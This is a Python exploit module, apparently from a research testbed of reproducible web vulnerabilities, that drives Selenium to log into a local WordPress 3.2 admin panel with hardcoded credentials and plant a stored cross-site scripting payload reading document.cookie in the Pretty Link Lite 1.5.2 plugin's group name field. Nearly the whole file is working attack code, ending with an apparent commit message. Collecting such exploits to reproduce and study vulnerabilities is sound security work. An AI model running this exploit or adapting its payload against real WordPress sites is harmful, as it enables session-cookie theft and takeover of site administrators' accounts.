import sys
import os
import time

import selenium.common.exceptions
import framework

class Exploit (framework.Exploit):

    attributes = {'Name' :        "XFDB_75614C",
                  'Description' : "Pretty Link Lite 1.5.2 for wordpress 3.2 XSS",
                  'References' :  [['http://xforce.iss.net/xforce/xfdb/75614']], 
                  'Target' :      "Wordpress 3.2",
                  'TargetLicense' : '',
                  'Plugin' : "Pretty Link 1.5.2",
                  'VulWikiPage' : "seamster.cs.umd.edu/vulwiki/index.php/75614",
                  'Type' : 'XSS'
                  }

    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        return
            

    def exploit(self):
        driver = self.create_selenium_driver()
                
        driver.get("http://127.0.0.1/wordpress/wp-admin")
        driver.find_element_by_id("user_login").send_keys("wpadmin")
        driver.find_element_by_id("user_pass").send_keys("wpadminpw21")
        driver.find_element_by_id("wp-submit").click()

        #driver.get_element(by_link_text="Pretty Link").click()

        #driver.get_element(by_xpath="//a[@href='admin.php?page=pretty-link/prli-groups.php']").click()
        driver.get("http://127.0.0.1/wordpress/wp-admin/admin.php?page=pretty-link/prli-groups.php")
        driver.get_element(by_link_text="Add a Pretty Link Group").click()
        driver.get_element(by_xpath="//input[@name='name']").send_keys("\"><script>alert(document.cookie);</script>")
        driver.get_element(by_xpath="//input[@name='Submit']").click()
        driver.get_element("//div[text()='Your Pretty Link Group was Successfully Created']")

        if self.visible:
            time.sleep(10)

        driver.cleanup()
        return

add 3rd pretty link exploit